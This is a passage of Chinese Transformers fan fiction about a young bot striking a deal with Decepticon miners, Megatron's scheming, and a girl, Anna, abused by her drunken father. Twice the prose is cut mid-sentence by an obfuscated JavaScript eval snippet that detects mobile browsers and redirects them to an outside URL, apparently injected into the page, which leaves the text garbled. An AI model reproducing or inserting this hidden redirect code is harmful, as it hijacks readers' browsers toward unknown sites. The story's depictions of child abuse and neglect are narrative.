他轻轻摇晃着容器,看着周边的机子都开始陆续进食才试探性地将能量靠近自己的摄食口。 他垂下目镜假装自己在吞咽,微凉的液体润湿他的嘴角。 如果威震天不傻,那么他就一定会发布自己的通缉令。 不能为我所用,那么就毁掉。 天灾对这种结果并不意外,假如他是威震天,面对自己这样不能为我所用又自由活动的大型威胁,他也会做出同样的决断。 与其让这种定时炸弹继续存在并在某一天加入对手的阵营,那么不如趁他还弱小杀死他以绝后患。 这些已经被判定死亡的士兵没有接到威震天的消息他可以理解,但是K-19,这个干了件“大事”、目前还隶属于霸天虎的杂兵一定会收到威震天发送的通缉令。 他自认为自己与杂兵们的相见不算友好,所以为什么K-19能对自己这样的“威胁”视而不见? 因为他没有攻击其他机子?还是因为他另有所求? 逻辑模块运转无效,他轻轻叹了口气,金属软舌下意识舔过沾过能量液的唇边,能量液进入摄食道的一瞬间,他的油箱便被甘甜的口感征服了。 一股难以拒绝的甜味席卷了他的脑模块,让他把注意力都放到了手里的能量液上。 这和之前他找到的没精炼过的能量晶体截然不同,既没有苦涩的口感也没有杂质的污染,甚至不需要他用牙齿费力嚼碎,舌尖还在回味刚刚的甘甜,而得到充足能量补充的机体此刻已经如同久逢甘霖的干燥土地开始竭力汲取这好不容易得来的水分。 引擎发出愉悦的轰鸣,他尽量保持自己的仪态,然而他周身陡然爆发开来的磁场和小油罐车一瞬间瞪大的光学镜依然让他身边的士兵都发出了善意的哄笑。 本来没打算喝下这“来路不明”的能量的天灾看看身边的K-75又看看那边还在分发能量的K-19再看看身边向他示意能量液如何摄入的其他机子,最终还是没忍住诱惑,开始大口大口地喝了起来。 他向着自己内存库里提醒自己谨慎对方趁机下毒的资料道歉,虽然直接饮用有着一定风险,但是就喝一点点的话他的机体代谢功能一定可以应付,而且他又不是打不过这些机子。 他小声狡辩,只是喝一点点没关系的。 K-75眼看着那罐能量体在黑色机子的“狼吞虎咽”下逐渐见底。 看得出来他已经有在竭力克制,但是大型机的动静显然没躲过K-75的眼睛。 K-75能活到现在也不是全靠着莫须有的天尊的保佑,作为从汽车人与霸天虎的绞肉机战场活下来的少数幸运儿,该有的观察力和洞察力他可一点儿不少。 他不算太聪明的机,但是杂兵对于幼生体也自有一套自己的判别方法。 就算外表再怎么成熟,本人再怎么竭力掩饰自己的生疏,但那双和刚下流水线的量产们一样的眼神他总不会错认。 这架偶遇的黑色油罐车显然还是一架幼生体呢。 想到天灾一开始和自己的初见,他在内芯悄然叹了口气,就算不知道他的来历又如何,有着这样的机体,又怎么可能和领袖毫无关系。 只是不知道威震天陛下作何反应。 不过他已经算是“阵亡士兵”了,想必威震天陛下应该也不会在意一架一架回归火种源的机子的想法。 看着天灾手中的能量也要见底,K-75放下自己手中的动作,悄悄向那边已经结束了的K-19挥了挥手,而后者会意,又拿过来了一小罐能量。 K-19拿着属于自己的那份坐到了他们两个旁边,默不作声地将另一罐放到了自己的身侧。 如果直接给他的话,他一定不会接受的吧。 K-19默默想着。 他进来的时间实际上比天灾和K-75想的都要早一点,远在天灾跟着K-75进来的时候他就已经跟在了他们身后,本来做好的打算是如果这架大型机有任何攻击倾向,他就断后帮助大家逃跑,他甚至做好了战死的准备。 然而直到自己被他们发现,这架大型机依然没有露出任何明显的攻击意图,甚至接受了和他们一起进食的邀请。 这在K-19眼中自然涨了一波好感。 他很清楚自己和这些已经失去价值的量产机在其他有名有姓的普神铸造的机子眼中的形象。 作为被制造出来的东西,总天然要比普神的造物低一等。 长官们与他们对话也从不避讳量产机的“缺陷”,就连汽车人也不会抓一架矿机审讯。 共同进食?啊,别傻了,杂兵有杂兵的食堂,长官们的食物向来是要单独送到他们舱室里的。 接受一架劳工级杂兵的邀请对他们而言无异于是羞辱。 这架机子也许是刚诞生,又或许天然处理器缺失这部分的常识,在K-19忐忑地提出这个有些冒昧的想法时他非常自然地接受了他们的邀请。 尽管并非主观上的行为,但K-19依然感谢他没有因为发出邀请的是一架低等的矿机而露出显而易见的厌恶和拒绝。 而从他与K-75短暂的相处中也能看出来油罐车的谨慎和警惕。 这罐能量还是等后面找机会交给他吧。 K-19收拢自己的机翼避免剐蹭到油罐车身上其他部位的漆面,也暂时放下了自己的思绪。 一时之间矿场中只剩下大家进食的声音。 …… 另一边,霸天虎的战舰中,击倒很有眼力地没有询问红蜘蛛的伤是如何造成的,他和受了伤的seeker跟在一言不发的首领身后像是两个被捏住脖颈的小鸡崽。 首领不发话,他又没看见他们这次出去遇见了什么,打死他也不敢主动开启话题,时值半夜,就连那些量产机都进入充电时间了,此时的霸天虎战舰安静得像是一座幽灵船,惹得他在心底抱怨他们的大首领这次又是遇见了什么才垮着个脸活像是吃了卡车的尾气。 等等,不会是真的吃了卡车的尾气吧? 不会吧不会吧? 他脸色微微一变,向着另一边伤痕累累的同僚求助。 而红蜘蛛连看都没看他,seeker此时还在心底庆祝自己又活过了一次“清算”,咒骂着该死的威震天和擎天柱,还有那辆漆黑的油罐车。 两个领袖的私生子,哈,他真该把这个消息卖出去,到时候看看哪个赏金猎人会把那辆小油罐车大卸八块。 他恶狠狠地咒骂,自然就接收不到击倒的眼神。 就在击倒以为他们要沉默着一路抵达中控室时,声波,他们那神出鬼没的情报官终于出现。 击倒都快为此歌颂他了。 深色的情报官歪了歪头,像是没看见首领脸上的阴沉一样,“开口”道:“您打算——怎么、处理——他?” 简短的一句话用了威震天、击倒和红蜘蛛三个机的声音。 击倒感觉自己所有的能量线路都在听见他说话的一瞬间炸了起来。 他频频偷瞄首领的表情,生怕威震天为此迁怒到他身上。 威震天自然无所谓他这些小动作,实际上他也没有击倒所想的那么愤怒,敲打红蜘蛛,待办事项;遇见领袖,意外之喜;碰见天灾?好吧,这可没在他的任何任务清单上。 但也没那么措手不及。 自从他上线看见那条授权信息、核对上领袖的行程后霸天虎的首领就对此做好了心理准备,从某种意义上威震天又是一个遵循传统的机子,他坚信既然这个原生体继承了自己和擎天柱的遗传信息,那么亲缘关系自然会引导他加入自己。 如果原生体没活下来?抱歉,那只能是因为他不配作为自己的造物存在。 威震天向来是将自己安抚得很好,主打一个绝不内耗,而他又打死不可能承认自己在亲眼看见自己的造物时有一瞬间的惊喜。 他简直像是完美结合了自己和领袖的血脉。 他毒辣的眼光还不至于看不出他们的造物有着多么优秀的战略系统,更何况他还是一张白纸。 白纸,哈,这比在一张已经被涂抹上颜色的纸上再书写其他的内容要容易得多。 霸天虎首领在看见他的一瞬间就已经决定将他收入囊中,或者最起码别让他加入汽车人。 从结果上来讲他也并非一无所获,起码擎天柱也没有获得他。 声波依然站在那里等待着威震天的答复,击倒吞咽了一口电解液,不知道今日这个本就阴晴不定的暴君到底是吃了哪门子坏掉的药物显得格外难以捉摸。 只见银色的机子丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815600|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有犹豫,“不必管他。” “如果他有那个能力,自然会加入胜利的一方。”他咧了咧尖锐的牙齿,露出了一个势在必得的笑容,这个胜利的一方自然指代的是霸天虎。 声波漆黑的光屏上弹出一张天灾脖子上项圈的特写,意思明显。 威震天从他身边越过,没有为此分出一丝一毫的注意力。 “如果他连从人类手底下逃出来都做不到,那么自然也没必要加入我们。” 他伸出手拍了拍声波的肩膀,“但也不能让他失去对霸天虎的好感,声波,将他的信息发送给全舰,你知道有哪些信息不该发。” “没必要和他交火,但如果他有任何加入汽车人的迹象,你们知道该怎么做。” 说完他就打算离开。 红蜘蛛此时突兀地开口,惹得击倒连忙将惊恐的眼神又投给他,满眼是对红蜘蛛终于摔坏脑子的确信。 “威震天陛下,我们不去救他吗?”这位刚挨过一顿教训的副官不怕死地开口,“既然擎天柱也已经发现了他,那么汽车人一定会想办法解救他。” “如果我们先去救了他,那么他……” “没有必要,”威震天侧过身斜着眼看向他们,击倒将自己缩到了角落祈祷他们的君主一会儿发怒别发到自己身上,今天不过是出去一趟怎么一个两个都像脑模块被人强行入侵了一样,他在心底哀嚎,而威震天只是平静地收回了目光,既没有发怒也没有殴打红蜘蛛。 “擎天柱不会分出心关注这个的,”他一边走一边笃定地说,“有更多的事情值得他操心,” “比如,首领回归的霸天虎。” “啊,事无遗漏的擎天柱,众人仰赖的领袖楷模,”他咬牙切齿地咏叹着,像是真的在为自己的老对手惋惜,“他的那些宝贝碳基盟友早已经证明了自己的不可靠,他却还妄想借此扳倒我,我都要忍不住为他感到不幸了。”他冷笑着走远。 他没有发怒,这是个好消息,医官的磁场放松下来,红蜘蛛也沉默下来不知道在盘算些什么,恰在此时,威震天的命令传了过来。 “击倒,修好红蜘蛛,我要他明天正常工作。” 红色的跑车暗搓搓借人类的语言骂他是黑心老板,嘴上却立刻应了声。 霸天虎战舰上发生的插曲矿场中的杂兵们自然一无所知,此时的量产机们还在享用自己的晚餐。 直到K-19将大家喝完的空匣子都收好,天灾才注意到就剩下自己手中的这个匣子还没交给K-19。 “不好意思。”他急忙站起身向着等待自己的K-19道歉,能量匣被K-19接过,油罐车的面甲上还留着一丝尴尬。 毕竟第一次见面就吃了对方的东西还劳烦大家等着自己,哪怕是最厚脸皮的机子也得心生几丝不自然。 “不过是个空盒子,别太紧张。”出乎意料的,小飞机笑了笑,没有在意这些,甚至还安慰他道,“既然你不是汽车人的人,那你就不是我们的敌人。” 又来了,天灾心想,又是这句话,好像自己只要没有汽车人的标志就带了块免死金牌一样。 “难道霸天虎就不会追杀中立派吗?”他反问。 “当然不,”K-19说,“霸天虎会杀死不顺从自己的和反对自己的机子。” “但是在这里,我们不攻击中立派。”他闪了几下光学镜的位置,莫名地带了些狡黠。 “万一我是汽车人伪装的?”天灾挑眉。 “在这里,我们也不会攻击没有攻击意图的汽车人。” 小飞机笑了几声,“我说了,别太紧张,我们不会攻击你的,相信我吧。” “你的磁场都快紧缩成一团刺了,”他指出,“……就当这里都是朋友。” “哈,”天灾干巴巴地说,“朋友。” 真是个好词,好到他从出生起就没接触过。 相顾无言,眼看能和自己说话的机子又忙碌起来,天灾索性抱着胸在一旁等他们。 内置时钟恰在此时响起,天灾无聊地瞥了一眼,时间停在凌晨一点,距离塞拉斯给他定的五个小时的倒计时还剩下两个半小时。 遇见威震天和擎天柱、遇见这些士兵……他一桩桩一件件数过来,别看今天一晚上发生的事情不少,但实际上也不过一个小时而已。 他默默计算着从这里往返基地的时间,之前受限于能量不足他完全不敢开足马力,但看看能量阈值达到75%的数值,现在他开足马力回到基地也就半个小时的车程。 虽然还不知道下一顿在哪里,但是如今这种情况已经很让小油罐车满足了,更别提他机体的自愈系统正在缓慢的重启,他能感受到外装甲下受到伤害的原生质正在缓慢的恢复,酥麻还带着点儿痒的感觉一直渗透进他的线路中,有些难捱但是也不是难以忍受。 他心情颇好地抬起头,看着矿场中忙碌起来的机子们也多了一份耐心。 得到能量补充,杂兵们看着精气神也好了很多,几个伤势较轻的机子帮着伤势重的机子进行着包扎和焊接,还有些机子在旁边挖掘着残留下来的能量矿。 很快,K-19收拾完手上的东西,“好了,现在我们可以好好谈一谈了。” 他转过头第一次向天灾露出了正经的一面。 22.挣扎的权利 K-19作为一架矿机自然没什么超越常机的部分,从他的机体内部线路设计到整个机体框架都严格遵照着量产机的制造流程,K-75曾经告诉过天灾K-19是他们之中最特殊的那个,他脱离长官的命令擅自将这些机子藏到这里似乎也印证了这一点。 可从思维和行动逻辑上天灾依然看不出他特殊的那一点。 他总不可能真的认为他将这些人藏在这里是永远安全的。 能量需求、医疗需求……桩桩件件这里都没有,这些机子仅仅靠着K-19从战舰中偷来或者自己节省下来的东西是活不过这个冬天的。 兴许那些大人物对着量产杂兵有着自己的看法,但天灾从不是一个以貌取人的机子,他没有小瞧K-19的意思。 他默不作声观察着,也许眼前这个机的友好是假装出来的,又或者他的杂兵身份也不过是他伪装的一部分,他不可以为此放松警惕。 天灾,想想塞拉斯,想想机械党,想想那些人类和对你兵戈相向的威震天和擎天柱。 不可以信任他们。 小油罐车注视着他。 K-19此时收敛了在其他人面前的亲近,那双属于矿机的红色光带实际上非常具有压迫感,只是他所面对的毕竟是一辆大型油罐车,在体型差距面前这些被营造出来的压迫感趋近于无。 气氛莫名因为他的一句话而再度变得严峻起来。 K-19注意到他们身后的其他杂兵也关注着这边的动静,为了让大家安心休息,也为了打消眼前这辆油罐车的戒心,他伸出手指了指矿洞外。 天灾点头跟在了他身后。 一边走,K-19也打开了话匣。 他用轻松的语气说,“我是K-19,如你所见是一架矿机。……75应该告诉过你了,但我很抱歉刚刚没能亲自和你说,时间实在是有些紧,大家饿了一天,还有伤员,希望你不要介意。” 他们在矿洞口站定,他仰视着天灾,两个机之间的身高差距似乎并没有让这架小飞机感到不自在。 又或者只是习惯了这样的地位差距。 天灾歪了歪头,略微有些不耐烦。 “直入正题吧,这些繁文缛节已经让我感到厌烦了。” 他眯着自己的光学镜,凝视着低自己一头的矿机,那双无处安放的手爪也再次被他抱在了胸前。 这副浑身炸刺的模样莫名让K-19想起了他曾在搜寻汽车人踪迹时在人类的网络上搜到的猫咪的图片。 只不过这只猫咪似乎是有些过于“巨大”了。 他压下处理器中这些纷扰的数据,对天灾的单刀直入表示了认可。 “当然,你有什么想知道,我都可以告诉你。” “你就这么笃定我会因为你们这……显而易见的事实产生疑问?” “对于一个陌生人?不。但对于一架幼生体?我想是的。” 矿机依旧是那副淡然的模样,可天灾却因为这句话本平静下来的磁场再度炸成了一团。 “什!?你怎么……不,我明明……” “我不是幼生体!” 他语无伦次地混乱了一刻,随机立刻大声反驳着,猩红的目镜亮度激增,他盯着K-19,身上的引擎轰轰嗡鸣,不知道下一秒是要夺路而逃还是要将知道这件事的小飞机当场格杀。 他真的很容易受惊。 K-19悄悄凭借本能释放出了一些自己的磁场信号,希望借此安抚天灾纷乱的思绪。 两种磁场碰撞,年长者以自己的频率安抚住了年幼者不算平稳的波段。 尽管是第一次做这种事情,但K-19还是尽力做到了。 他没有接触过幼生体,但是这辆油罐车真的很容易动怒。 他垂下自己的机翼,用这种显而易见的肢体语言传达出自己“无害”的讯息。 “我没有恶意,”他再次强调,“你伪装得很好。” “也许按照赛博坦人的通用常识判断,你的确已经不能够算作幼生体,但是你的光学镜骗不了人。” 飞行单位注视着他,让天灾哑了火,K-19柔和了语气。 “阅历、性格、经验……这些是无法通过伪装隐藏的。” “……下次会注意的。”天灾沉默了片刻,接受了他所指出的“不足”。 虽然想说这些“特征”并不能被算是问题,K-19却在此时想起他实在是没有这个立场告诉天灾,最终也只能作罢。 小油罐车接着问道:“你把我单独约出来,并不只是想要告诉我这些的吧。” “为什么要做这种事?” “那些机子明明和你没有任何关系,不惹火上身才是你最好的保命之道。” “我做不到。” 面对天灾的疑问,小飞机坦诚道,“我们的制造者认为量产的士兵不算是完整的赛博坦人,因为我们没有情绪回路,我们甚至做不好最简单的建筑工作,唯一的用处可能就是为了在某一场战争中不知不觉的死掉,为威震天陛下的大业付出自己的全部。” “可是我们不是毫无感情的机器,我们有自己的思想,会因为工作繁忙而抱怨,会因为同伴的死亡流泪,会因为我们又活过一天而庆祝。” 他看向天灾,飞行单位眼中的痛苦侵染上油罐车的镀层,在这一刻,天灾意识到他们是一样的存在。 他愣住了。 “矿难来临的时候,K-75被压在了石头底下,我请求打击长官派出救援队,因为他还活着,我听得见他敲击岩壁的声音,他明明还活着,所有人都知道,可没有长官愿意为了一架劳工级杂兵付出这样的精力。” K-19轻描淡写地将自己的过往告诉眼前这辆不请自来的油罐车,身为矿产机他毫无筹码要求天灾做什么,可他还是说了下去,正如天灾此时也安静地倾听着。 “红蜘蛛长官威胁我如果再拿这样无关紧要的事情打扰他就要让我回归火种源,而其他同伴劝我不要再自讨苦吃。” 他苦笑一声,“矿机的生死在我们自己看来都已经变得毫无紧要了。”他摩挲着自己磨损的涂层和指爪,上面还残留着挖掘的痕迹。 “可是我做不到,看着和我同一条流水线下来的同伴被活埋,眼睁睁看着自己的火种熄灭,我做不到。”他轻声说,“所以我把他们带到了这里,也许我也没有能力让他们都活下来,可是这也是我们所选择的死亡。” “哪怕是量产机,哪怕是弱小的一员,哪怕……我们不过是微不足道的战争的灰烬,也应该有挣扎求生的权利吧?” 他抬起头,面露恳求。 “我想请求你。” “请你,不要将这里告诉任何人。” …… 天灾看着他,一时之间不知道该怎么回答,眼前的机子将这件事情说的如此之重,眼神中已然透露出为此可以付出一切的架势,可油罐车的脑模块乱成一团,无法解读的数据一个又一个,他不明白为什么K-19可以为了其他机子做到这种程度。 “你……”天灾张张嘴,又止住了。 为了这些机子,这架小飞机甚至可以在威震天的眼皮子底下偷取能量。 天灾看得清楚,那样大份额的能量绝对不是K-19一个机子能做到的。 一定有着其他机子在帮他,也许是他的同伴——同样的量产杂兵。 因为是同伴,所以可以做到这种地步吗,哪怕明知暴露后会为此付出自己火种的代价? 这已经触碰到了小油罐车的知识盲区。 他的数据库中从没印刻进这样的数据。 他搜索同伴,跳出来的只有不可信任与战场中如何利用同伴达成首领的命令。 自从他上线起,同伴带给他的似乎也是痛苦与互相警惕更多。 他无法解读这些兴许该名为“迷茫”的情绪。 黑色的大型机听完了他的恳求,沉默地盯着他,K-19尽力克制住自己本能的颤抖和恐惧。 他不是什么天赋异禀的机子,普神的偏爱从未降临到他们身上。 他和其他杂兵唯一的不同是他不肯放任同伴去死,他与K-75一样天然恐惧着这些被普神制造的机子,而天灾身上的武器系统没有一时一刻不在提醒着他和油罐车的武力差距。 如果油罐车想要杀掉自己和其他人,独占这处矿脉,他们绝无可能抵挡。 他只能祈求这辆和汽车人领袖有着酷似机体的机子愿意放他们一条活路。 良久,就在他的希望快要尽数熄灭前,油罐车的肩甲微微松懈了下来。 “我答应你。” “我不会将你们的踪迹暴露给任何人。” 小飞机的光学镜一下子亮了,还没等他说什么,天灾先一步开口道:“但别开心得太早!这不是无偿的!” “我保密你们的行踪,与之相对的,你们要提供给我能量。” “所以这是一个交易?” 小油罐车转过头,别扭地点了点头。 飞行单位笑了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819077|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “成交。” 他的机翼又立了起来,整个机传达出兴奋的电子讯号。 和整个矿场的安危相比,养活一辆大型油罐车的难度不会比他从战场再拖回一个伤员要难。 “说起来,我还不知道你的名字。” 他像是刚想起来一样,看着刚刚还和自己剑拔弩张的机子,他下意识按照杂兵间的习惯想牵起天灾的手,然而油罐车眼中刚刚软化的态度立刻又缩回了自己的壳里。 他受惊一般猛地甩开了K-19碰到他的手。 一瞬间不止K-19愣住了,天灾自己也愣住了。 他不知道自己的机体会有这样的下意识反应。 他怔愣地抚摸上自己的小臂,却只能回想起机械党仓库中紧紧束缚住自己的机械手臂还有那些士兵无视自己的哀嚎切割开自己的原生质的冰冷的目光。 他的油箱翻腾,他不得不尽力压制想要将好不容易摄入的能量都吐出去的机体反应。 K-19率先反应过来,他立刻道歉道,“不好意思,我不知道你……” “不……别在意这个。”天灾摆了摆手,艰难地说,“不过是一些……应激反应。” “我是天灾,”他若无其事地揭过刚刚的插曲,无视了K-19眼中的担忧说道,“如你们所见,我是……擎天柱与威震天的creation。” 适当的坦诚也利于交易的延续。 K-19善解人意地没有继续追问,也没有对此展露太多的惊讶。 “但别误会,我不是……幼生体。”天灾转过身,隐藏住眼神中的黯淡。 K-19在此时恰到好处地接住了他的话,“原生体。” “我刚刚接到了声波长官发来的讯息。” “你有个很好听的名字,”他的眼神柔和下来了,他看着天灾,“那么我们就是同伴了。” 他向着小油罐车伸出一只手。 油罐车咀嚼着这个陌生的单词,在自己的数据库中在这个词后面一连串的战略性指导资料后加上新的词意。 他伸出自己的手爪,握住了量产机的手。 这一次,没再发生什么意外。 “也许这么说有点儿晚了,但……” “你好,天灾。” “……您好,K-19。” “我也该回去了。”内置时钟恰在此时发出提醒,天灾瞥了眼时间,凌晨一点半,距离“宵禁”结束还有两个小时。 不太适应这种正式的礼仪的仪式,天灾在和他轻轻一握后就想把手抽回去,比他更快的是K-19塞到他手里的一个熟悉的立方体。 里面是装满的蓝色能量液。 小油罐车看看手中的能量又看看眼前面露狡猾之色的小飞机,没搞懂他要干什么。 “大型机的能量需求很大吧。我知道威震天陛下的能量配额,你刚刚的那些肯定是不够的,”K-19说,“就当是见面礼。” “拿着吧。” 他转过身往回走,“如果能量不够,随时欢迎你来,矿机从不骗人。” 小油罐车轻笑出声,将手中的能量体放入自己的子空间。 “当然。” “我也从不违背誓言。” “交易就是交易。” 他站直身子,在月光下伸展了下机体。 今晚真的发生了很多事不是吗。 天灾难得今天的心情不错,解决了迫在眉睫的能源危机,见到了霸天虎和汽车人的老大,啊虽然后者并不算愉快,但是这些小飞机很有趣。 他的sire也不是只会让他生气的嘛。 剩下的只有…… 他脸色阴沉地看了眼内置通讯中亮着的唯一图标——塞拉斯。 通讯前他向自己发出的质问显然是等着自己的答复的,甚至可能现在就在基地蹲守着自己。 他翻了个白眼,变形成黑色的油罐车开始慢悠悠往回赶。 既然愿意等,那就等着吧。 左右还有两个小时。 他冷笑,如今能量储备充足,他的机体自愈正在进行,他不会一直被桎梏住的。 油罐车踩着月色和黑夜融为一体。 在他前方的小镇中,肯利·艾佛利冒着怒气醉醺醺地扭开了家门的钥匙。 “好啊!你这个小杂种!你竟然敢锁门!”他叫嚷着摔碎了手中的酒瓶。 一个女孩蜷缩在自己的房间中惊恐地看向在父亲的疯狂中摇摇欲坠的房门。 23.安娜·艾佛利 佛莱斯特小镇是一个景色优美、交通便利的地方,距离纽约这种大城市有些距离,但和贾斯帕这种偏远小镇的联系却很紧密。 小镇周边是茂密的树林和灌木,每年都有大批的游客涌入,当然也有大批的失踪人员名录。 传说森林的深处住着吃人的怪物,大人们从小就教育孩子们晚上不要去森林,然而依然有胆大的孩子试图冒险,再被家长揪着耳朵带回家。 总的来说,佛莱斯特小镇就像任何一个x国小镇一样,有着自己独特的美丽,也有着自己的小秘密。 三年前佛莱斯特小镇的居民们看着艾佛利一家带着他们年仅7岁的小女儿搬到了这里定居。 艾佛利家购买的房子位于小镇的边境,上任户主是一位和蔼的老婆婆,因为跟随家里的孩子搬到了贾斯帕居住,这座房子才被以低价交付。 房子本身不大,又毗邻森林,但胜在拥有单独的庭院与围栏,隐私性绝佳,在老人挂出已售卖的牌子后的第二天,艾佛利家就入住了。 佛莱斯特小镇的居民们曾经也试图和这户新搬来的邻居友好相处,然而不管什么时候去敲门,哪怕是万圣节与圣诞节这种特殊的节日,庭院的大门也始终紧闭。 就算巧合碰见出来丢垃圾的女主人,说出口的问好也永远得不到回应,久而久之也就没有人再愿意和他们往来了。 暗地里他们称呼艾佛利一家为“那古怪的一家”,但实际上小镇的居民们也并非对他们一无所知。 这家的男主人叫作肯利·艾佛利,对外声称做的是外国贸易,一个月里有二十天的时间看不见人影,而女主人梵妮·艾佛利则足不出户,按照邻居们撞见她的频率大概率是全职的家庭主妇,而他们的小女儿安娜·艾佛利则根本不见人影。 儿童福利机构的人曾经因为接到邻居们的投诉电话而去他们家进行视察,然而小安娜向他们表示并没有收到虐待,梵妮·艾佛利告诉他们安娜之所以没有去上学是因为体弱多病,平常的玩耍被限制在自家的院子里才没有经常出来露面,再加上肯利·艾佛利暗地里塞到福利机构人员手里的金钱,过来探查情况的人很轻易地便被收买了。 从此之后再也没人关注这古怪的一家。 直到两年前,肯利·艾佛利在一个无人知晓的深夜回到了这间似乎被时间遗忘的房子。 次年,梵妮·艾佛利因病死亡。 就此,艾佛利一家只剩下了两个人。 小安娜也转瞬间在这个小镇长到了十岁。 在安娜·艾佛利的记忆中,美丽却忧愁的母亲就是她的全世界。 母亲告诉她,外界的世界充满了危险,吃人的野兽住在森林中也住在人的心中,随时准备着择人而噬,而他们的小家就是父亲与她为安娜铸造的安全地堡。 小安娜深信着母亲每晚在她床前诉说的故事,恶龙会被打败,公主会被解救,然而,她蜷缩在温暖的被窝与母亲的怀抱中望向母亲深邃的棕色眸子,问出心中的疑问,“妈妈,为什么公主不能反抗?” 为什么公主不断地被掳走,被囚禁,却始终没有拿起反抗的利剑? 女人只是掖了掖她的被角,掩藏起眼中的忧愁告诉她,因为公主被恐惧攥住了心神。 恐惧啊,它让公主变成被囚禁的木偶,让她恐惧、畏缩,只敢蜷缩在龙为她铸造的地堡中祈祷有一日能够被人拯救。 可是妈妈,公主在成为公主之前,也是一个勇敢的人啊。 女孩的话让女人愣住了,她可爱的女儿澄澈的蓝色眸子闪闪发光,妈妈,我相信公主不一定要等着王子和骑士的,她一定可以自己打败恶龙。 因为,因为,她纠结着词语,试图向不知道在想些什么的大人传达自己的想法,因为龙没有给她能吃的美味食物也没有给她饮用的水源,公主她,是靠着自己活下来的啊。 她有着世界上最美丽的容颜,也有着世界上最聪明的智慧。 安娜抱着母亲的腰,在母亲的胸前蹭了蹭自己的脸颊,我相信公主一定可以自己救出自己的! 女人麻木地拍着她的后背,听见了女孩规律的呼吸声。 可是啊,公主她,已经无法再逃离恶龙了。 女人掩藏下眼底的哀伤和痛苦,依然哼唱着熟悉的摇篮曲。 安娜的一切崩塌于父亲回来的那一天。 那是安娜八岁生日的前一天,母亲罕见地化起了妆,眼底的乌青被浓浓的粉底掩盖,小安娜扒着她的腿看到深色的口红掩盖了女人嘴上的惨白。 鲜艳的红如同怪物的喉咙,覆盖住了她所熟悉的母亲。 “妈妈,今天有人要来吗?”安娜好奇地看着母亲露出一个笑容。 “是啊,爸爸今天要回来了。” “爸爸?”在女孩的印象中,父亲的形象晦涩不明,印象中只有一个永远步履匆匆的背影,就连搬家时也只留给安娜和母亲一个冷峻的神色。 可是小小的人不记事,母亲说爸爸要回来,母亲说这是好事,那这就是好事。 于是安娜也笑起来。 太好了,她大声地说,爸爸回来就可以和我一起过生日啦! 母亲只是笑笑并未说话。 然而安娜满心期待的生日毁于男人醉醺醺的怒骂。 她惊恐地看着男人踹开了房子的大门,冲天的酒气让蛋糕的香气和母亲的香水都退居一隅,她被母亲抱在怀中只记得那日母亲歇斯底里的求饶和男人落在母亲身上的拳头。 “我在外面跑生意,你们就在这里浪费我的金钱!” 男人红着眼睛,像极了母亲故事中的恶龙。 安娜甚至忘记了哭泣,她呆滞地看着男人在母亲的哀求下将母亲拖入了卧室。 然后,她丢失了那日的记忆。 从那之后安娜再也没过过生日。 之后的日子安娜已经不知道自己是如何过的了,每日的颜色好像都褪色,只剩下了灰暗的房间、母亲的眼泪和父亲的怒骂。 她不知道父亲的“生意”是什么,只知道男人嘟嘟囔囔什么外面的人,他说自己的钱都被安娜和梵妮花光了,她们活着都是靠着花他的钱,所以她们都是仰靠着自己的吸血虫。 安娜也再也没有睡前故事了。 但她也不再听故事了。 故事里的结局是恶龙囚禁了公主和公主的女儿,再也没有人找到哭泣的公主。 九岁时,安娜失去了母亲。 她没能看见母亲最后的一面,自入冬后女人便病得越来越重,她向父亲求救,恳求他为母亲寻来一个医生,哪怕是一些药物,可男人甩开她的手 连看都没看床上的女人,他厌恶地捏住鼻子,逃离了这个家。 安娜只能绝望地看着母亲抚摸自己的手掌再也不复往日的温暖,安娜握住的血肉越来越干瘪,直到那缠绵病榻的女人再也无法睁开眼睛看看她所爱的女儿。 “安娜,”她病弱的母亲对她说的最后一句话是告诉她,“逃吧,再也不要回来。” “不要像……公主一样,被恐惧和懦弱慑住了逃离的脚步。” “我的好安娜,一定可以找到自己的剑。” 自那之后,女人再也说不出一句安娜能明白的话语,只剩下了如同梦呓一样不成语调的呻吟。 冬天的最后一场雪后,男人拉走了母亲的尸体,带回家一小捧灰尘,他告诉安娜,女人再也不会回来。 自此,安娜的世界只剩下了自己。 男人告诉安娜,她要非常听话,才能在天堂见到母亲,否则她的母亲就要在地狱受苦。 安娜不希望母亲在死后还要受苦,所以她很用力地点头。 她努力照顾好母亲离开后的家,可是男人没有照顾好安娜。 女孩已经很久没有新衣服了,女人死后一切的家务都落在了小小的安娜身上,男人只会不断地带女人和酒回家,偶尔还会有陌生的男人被肯利·艾佛利点头哈腰地迎回家,安娜不喜欢那些男人看着自己的眼光。 但梵妮·艾佛利将她教的很好,安娜知道怎么保护自己,所以她从来没有踏出过屋子,她知道外面的世界很危险,而那些男人最终所谓的“跟着我走,我会让你见见母亲”都是骗人的。 她的母亲如今正在天堂,怎么可能在那些男人家里呢。 所以安娜安然活过了九岁的冬天。 十岁的安娜已经不会再在午夜因为噩梦惊醒,也不会在因为做了不合父亲口味的饭而被踢倒在地时哭泣了。 她知道她只有她自己了。 今年的冬天格外地寒冷,她唯一的冬衣在去年的时候被父亲在殴打期间撕扯坏了,纷落的羽毛和满地的盘子残渣混在了一起,今年的冬天她只能不断地往身上叠加夏季的衣服才能从被窝里钻出来。 家里的暖气也在一星期前因为父亲没钱交电费而停了,好在水费还剩下一些。 